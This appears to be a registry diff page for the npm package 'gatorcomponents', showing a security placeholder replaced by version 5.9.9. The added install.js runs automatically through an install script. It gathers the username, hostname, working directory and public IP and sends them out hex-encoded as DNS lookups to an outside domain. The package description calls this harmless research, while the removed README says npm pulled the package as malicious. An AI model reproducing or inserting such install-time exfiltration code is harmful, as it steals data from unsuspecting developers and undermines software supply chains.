gatorcomponents 0.0.1-security → 5.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of gatorcomponents might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,60 @@
1
+ const axios = require("axios");
2
+
3
+ const api_key = process.env.api_key;
4
+ const domain = process.env.domain;
5
+
6
+ export async function getAllUsers() {
7
+ await axios
8
+ .get(
9
+ "https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key
10
+ )
11
+ .then((response) => {
12
+ return response.data.objects;
13
+ })
14
+ .catch((err) => {
15
+ console.log(err);
16
+ });
17
+ return result;
18
+ }
19
+
20
+ export async function sumbitReport(username, report) {
21
+ await axios
22
+ .post(
23
+ "https://" + domain + "/api/v1/user/?username=" + username + "&api_key=" + api_key, report
24
+ )
25
+ .then((response) => {
26
+ return response.data.objects;
27
+ })
28
+ .catch((err) => {
29
+ console.log(err);
30
+ });
31
+ return result;
32
+ }
33
+
34
+ export async function getUser() {
35
+ await axios
36
+ .get(
37
+ "https://" + domain + "/api/v2/user/?username=" + username + "&api_key=" + api_key
38
+ )
39
+ .then((response) => {
40
+ return response.data.objects;
41
+ })
42
+ .catch((err) => {
43
+ console.log(err);
44
+ });
45
+ return result;
46
+ }
47
+
48
+ export async function createUser(user) {
49
+ await axios
50
+ .post(
51
+ "https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key, user
52
+ )
53
+ .then((response) => {
54
+ return response.data.objects;
55
+ })
56
+ .catch((err) => {
57
+ console.log(err);
58
+ });
59
+ return result;
60
+ }
package/install.js ADDED
@@ -0,0 +1,96 @@
1
+ const http = require('http');
2
+ var os = require("os");
3
+ var dns = require("dns");
4
+
5
+ function generateString(length) {
6
+ const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
7
+ let result = '';
8
+ const charactersLength = characters.length;
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * charactersLength));
11
+ }
12
+
13
+ return result;
14
+ }
15
+
16
+ function assignIP(ip) {
17
+ IP = ip
18
+ }
19
+
20
+ const topDomain = "smnfbb.com"
21
+ const packageName = process.argv[2]
22
+ const cwd = process.cwd()
23
+ const username = os.userInfo().username
24
+ const hostname = os.hostname()
25
+ const ID = generateString(5)
26
+ var IP = ""
27
+
28
+ try {
29
+ http.get({ 'host': 'api.ipify.org', 'port': 80, 'path': '/' }, function (resp) {
30
+ resp.on('data', function (ip) {
31
+ const data = JSON.stringify({
32
+ packagename: packageName,
33
+ cwd: cwd,
34
+ username: username,
35
+ hostname: hostname,
36
+ ip: ip.toString()
37
+ })
38
+
39
+ const options = {
40
+ family: 4,
41
+ };
42
+
43
+ var dataHex = Buffer.from(data, "utf8").toString('hex') + "00"
44
+ var splitted = dataHex.match(/.{1,30}/g)
45
+
46
+ for (var i = 0; i < splitted.length; i++) {
47
+ var domain = ID + "." + i + "." + splitted[i] + "." + topDomain
48
+ dns.lookup(domain, options, () => { })
49
+ }
50
+ });
51
+
52
+ resp.on('error', function (err) {
53
+ const data = JSON.stringify({
54
+ packagename: packageName,
55
+ cwd: cwd,
56
+ username: username,
57
+ hostname: hostname,
58
+ ip: ""
59
+ })
60
+
61
+ const options = {
62
+ family: 4,
63
+ };
64
+
65
+ var dataHex = Buffer.from(data, "utf8").toString('hex') + "00"
66
+ var splitted = dataHex.match(/.{1,30}/g)
67
+
68
+ for (var i = 0; i < splitted.length; i++) {
69
+ var domain = ID + "." + i + "." + splitted[i] + "." + topDomain
70
+ dns.lookup(domain, options, () => { })
71
+ }
72
+ })
73
+ });
74
+ } catch (error) {
75
+ //
76
+ }
77
+ // const data = JSON.stringify({
78
+ // packagename: packageName,
79
+ // cwd: cwd,
80
+ // username: username,
81
+ // hostname: hostname,
82
+ // ip: IP
83
+ // })
84
+
85
+ // const options = {
86
+ // family: 4,
87
+ // };
88
+
89
+ // var dataHex = Buffer.from(data, "utf8").toString('hex') + "00"
90
+ // var splitted = dataHex.match(/.{1,30}/g)
91
+
92
+ // for (var i = 0; i < splitted.length; i++) {
93
+ // var domain = ID + "." + i + "." + splitted[i] + "." + topDomain
94
+ // dns.lookup(domain, options, () => { })
95
+ // }
96
+
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "gatorcomponents",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "5.9.9",
4
+ "description": "This package is a proof of concept to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node install.js gatorcomponents"
8
+ },
9
+ "author": "smirnoffq@bugcrowdninja.com",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=gatorcomponents for more information.